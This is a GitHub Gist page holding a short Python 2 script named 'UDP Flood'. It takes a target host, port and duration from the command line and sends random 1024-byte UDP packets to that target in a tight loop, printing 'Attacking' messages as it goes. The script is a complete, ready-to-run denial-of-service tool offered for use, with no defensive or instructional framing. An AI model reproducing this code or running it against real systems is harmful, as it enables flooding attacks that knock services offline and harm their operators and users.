Created
September 22, 2016 20:41
-
-
Save edo0xff/8cb0ca0c30625794128ad490f76f034a to your computer and use it in GitHub Desktop.
UDP Flood
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
import sys | |
import time | |
import socket | |
import random | |
import argparse | |
def args_parser(): | |
h = "UDP Flood by Eduardo <eduardo@root404.com>" | |
parser = argparse.ArgumentParser(description=h) | |
h = "Host que esta preparado para recibir el archivo" | |
parser.add_argument("-t", "--target", help=h, metavar='HOST') | |
h = "Puerto en el cual el servidor esta listo para recibir el archivo" | |
parser.add_argument("-p", "--port", help=h, metavar='PORT', type=int) | |
h = "Attack duration (seconds)" | |
parser.add_argument("-s", "--seconds", help=h, metavar='SECONDS', type=int) | |
return parser | |
parser = args_parser() | |
args = parser.parse_args() | |
if not args.target: | |
print "[!] Missing target" | |
parser.print_help() | |
sys.exit() | |
if not args.port: | |
print "[!] Missing port" | |
parser.print_help() | |
sys.exit() | |
if not args.seconds: | |
print "[!] Missing attack duration" | |
parser.print_help() | |
sys.exit() | |
socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
bytes = random._urandom(1024) | |
timeout = time.time() + args.seconds | |
sent = 0 | |
while timeout > time.time(): | |
print "[*] Attacking %s:%s with %s bytes of data >:v" % (args.target, args.port, len(bytes)) | |
socket.sendto(bytes, (args.target, args.port)) | |
sent += 1 | |
print "" | |
print "[i] Finished after %s seconds with %s packages sent" % (args.seconds, sent) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment